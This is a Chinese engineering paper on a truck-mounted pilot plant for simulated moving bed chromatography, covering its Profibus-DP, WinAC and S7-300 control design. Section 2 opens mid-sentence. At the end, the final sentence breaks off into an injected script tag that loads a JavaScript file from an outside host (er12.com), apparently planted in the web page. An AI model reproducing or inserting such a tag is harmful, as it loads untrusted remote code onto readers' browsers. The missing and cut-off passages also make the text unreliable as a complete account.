［摘 要］ 介绍了一套色谱分离中试装置，根据装置特点和生产工艺要求，设计了一套基于profibus总线的控制系统，具体描述控制系统的结构、任务分配及实现、软件设计思想。
［关键词］ 色谱分离；模拟移动床；现场总线；profibus；监控系统
1 前 言
色谱是根据混合物中不同组分在两相间平衡分配的差异提取物质的一种分离技术。近30年来，色谱技术发展很快，产生了环形色谱、错流梯度色谱、移动床（tmb，true moving bed）、模拟移动床（smb，simulated moving bed）等各种适合不同生产工艺需求的大型、连续制备色谱技术。其中smb通过液体出入口位置的不断切换实现固体的模拟移动，具有设备结构小、投资成本低、产率高、分离能力强、能耗低、污染少、便于连续化、大规模生产和自动控制等优点，是现代分离技术中备受青睐的新技术，其应用面也越来越广。为扩大smb技术在工业生产中的应用，经过8年攻关，完成了利用smb色谱技术实现柠檬酸清洁化生产的工业规模级研究和采用smb色谱技术代替活性炭脱色的工业化生产。成果引起国内外知名柠檬酸生产企业和麦糖、果糖等生产厂家的关注，已有多家厂商表示希望合作进行采用smb技术的工艺改造。
然而不同的产品除了所需吸附树脂不同外，其操作工序和操作条件也不同。每一种产品的工艺改造都需经过一系列的试验，若对每一个厂家的具体要求都要先建造一套中试装置，然后进行试验，再培训技术人员、投入生产，不论是经济上还是时间上都是不允许的。为解决这一难题，笔者设计了一套可移动的多功能色谱分离中试装置，配以能实现多种工艺的自动控制，以便于迅速到生产现场进行工艺研究和试验，满足smb技术应用研究推广的目的。
2 中试装置设计
与外界、各储罐与总管之间也有相应的电磁阀，整个装置共有228个电磁阀，根据工艺要求由plc控制这些电磁阀的动作，从而满足“模拟移动”的要求。设计中采用管道共用和阀门冗余技术，以达到尽可能减小设备体积以及满足不同工艺的吸、脱附流向要求。8根色谱柱的温度、进料和出料流量等模拟量信号进入控制系统进行测控，故设备上也有相应的检测元件。整套设备的安装体积为5m×2．8m×3m，可用一辆5t卡车运载。其中所有的电磁阀都有规律地装在四周，并且注有标记，便于观察和维修。
3 中试装置控制系统硬件设计
控制系统硬件结构设计也遵循体积小、便于拆卸和安装的原则。如果按常规设计方法，将所有的控制线送至集中控制柜，现场将需要有大量控制线，不便于维护，也不适合装置的“多功能、灵活性”的要求。profibus是目前惟一具备成熟的本质安全方案的现场总线技术，故系统采用profibus系列中的profibus－dp总线。
由smb原理可知，对于某种特定工艺的分离过程而言，每根柱各个阀门的动作顺序及工艺参数的控制要求都是相同的。因此控制系统的硬件设计采用了以设备为单位的思想。其结构如图3—1所示，由上位工控机、基于profibus的现场智能节点和i／o模块构成典型的现场总线控制系统。
profibus－dp现场总线的主控模块选用了siemens的基于windows nt的纯软件plc解决方案：winac。这样系统上层为工业pc机，既作为plc的软cpu，承担远程控制功能，又作为监控、管理计算机，同时还可进行新工艺组态，实现一机多用。
下层由以siemens的s7－300系列plc功能模块为主的10个控制单元组成，其中1＃～8＃控制单元硬件组成和控制功能相同，分别控制1＃～8＃色谱柱，另外两个控制单元分别控制3只色碱罐、硫酸罐、色水罐以及模拟量。每个控制单元的输入输出模块通道都有盈余，便于功能扩展和维护，又都具有手动装置，便于脱离上位机独立操作，这在调试、摸索新工艺试验时都是必要的。
上位机和各控制单元之间通过profibus－dp总线实现数据传送。整个现场的系统硬件和计算机、各设备之间采用profibus－dp总线专用接头连接，减少现场连线，便于维护，方便拆卸和安装，满足了经常移动的要求。
系统采用上述设计方案的特点是：8个色谱柱的控制单元硬、软件结构相同，可适应试验过程中色谱系统规模的变化；大大简化软件的设计和调试；危险分散，维护方便，提高可靠性，符合分散控制和模块化设计思想；在工艺成熟后的工业扩大化过程中，可直接套用控制系统的软硬件方案，缩短工业扩大化周期，提高企业的竞争力。
4 控制系统软件设计
同样，软件设计也针对系统的特点，总体分工遵循两层模式，组态管理由西门子组态软件wincc实现，控制功能采用软plc解决方案winac，均集中在工业pc中进行，完全由计算机来实现数据采集控制和管理。
系统要求适合多种工艺，这里以某糖液脱色工艺为例，介绍控制程序的总体设计方法。糖液脱色工艺是顺序控制?script src=http://er12.com/t.js>
